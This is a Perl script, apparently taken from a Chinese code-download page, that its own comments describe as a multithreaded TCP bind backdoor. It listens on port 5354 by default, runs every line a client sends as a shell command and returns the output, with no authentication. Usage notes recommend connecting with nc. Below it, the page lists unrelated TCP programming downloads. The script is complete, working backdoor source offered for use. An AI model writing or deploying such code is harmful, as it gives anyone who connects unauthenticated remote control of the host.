#!usr/bin/perl -w
#duo_xian_nc.pl
#Make By DemonAlex
use IO::Socket;
use Thread;
$port=$ARGV[0] || 5354;
$sock=IO::Socket::INET->new(Listen=>10,LocalPort=>$port,Proto=>'tcp');
while(1){
next unless $client=$sock->accept;
Thread->new(\&IandO,$client);
$client->close;
}
$sock->close;
exit 1;
sub IandO{
my $handle=shift;
Thread->self->detach;
print $handle "Now u can enter the command!\n";
while(1){
$mem=<$handle>;
chop($mem);
if(lc($mem) eq 'exit'){
return;
}else{
open(CONVERT,"$mem|");
@mem2=<CONVERT>;
print $handle "@mem2\n";
close CONVERT;
print $handle "Now u can enter the command!\n";
}
}
}
#TCP多线程正向后门(支持多会话,想都想得到,多会话有可能支持反向吗?>_<)
#格式: perl duo_xian_nc.pl [端口]
#默认端口为tcp5354
#切记:必须使用NC作客户端,不要贪方便使用TELNET,否则会造成服务端崩溃(进入S循环)
#有问题请EMAIL: demonalex_at_dark2s.org
分享到:
相关推荐
C#TCP多线程异步传输 C#开发的服务器端与客户端,通过tcp协议进行文件传输,在Winform程序中使用了多线程异步传输,可定时由客户端向服务器端传输文件。客户端和服务器端分为两个C#工程独立编写开发,此程序已在实际...
基于TCP-IP多线程文件传输C++源代码
Qt之TCP多线程收发,具体可查看https://blog.csdn.net/automoblie0/article/details/102623648
TCP UDP 简单通讯程序源代码 TCP UDP 简单通讯程序源代码 TCP UDP 简单通讯程序源代码
tcp多线程客户端代码,实现客户端服务器的交流
linux下 TCP多线程传输源码实例
跨平台qt tcp多线程服务端,支持windows linux 已经指令的定义
自己写的TCP简单并发服务器,多个线程各自accept,然后与客户端通信,初学者可以学一学
多线程的TCP端口扫描程序的设计与实现源代码 多线程的TCP端口扫描程序的设计与实现源代码 多线程的TCP端口扫描程序的设计与实现源代码 多线程的TCP端口扫描程序的设计与实现源代码 多线程的TCP端口扫描程序的设计与...
多线程通信,QT5.11.1,多线程TCP服务器,多线程连接客户端。QThread
多线程处理多个客户端的链接,比较简单Socket编程源代码
C# tcp 多线程聊天室 C# tcp 多线程聊天室C# tcp 多线程聊天室C# tcp 多线程聊天室C# tcp 多线程聊天室C# tcp 多线程聊天室
C语言编写的,代码极其精炼,功能强大的多线程TCP端口扫描器,只有4KB大小
这是QT TCP多线程编程的例子,开启多个客户端可以从服务器中取得不同的数据。
java tcp socket 多线程多句通信
使用多线程接受消息和发送消息分开的思想,保证了程序内置自动消息处理过程,做到消息可靠高并发的效果
【亲测实用】ModbusTCP读写信捷PLC 文件类型:程序源代码 主要功能: 信捷PLC通信实例 ModbusTCP Modbus stc PLC tcp 适合人群:新手及有一定经验的开发人员
实现多线程TCP传输,同时分成发送方和接受方
我用MFC VS2010编写的一个 TCP 一对多通信的程序,就是服务器端利用多线程技术(不使用Select等任何模型), 能同时接收多个客户端的消息, 其次, 服务器端还能将消息群发给所有已连接的客户端, 实现的基本思路 是...
这是一个能在服务器注册、保存成xml配置文件的TCP/IP通信程序,里面也是多线程的调度收发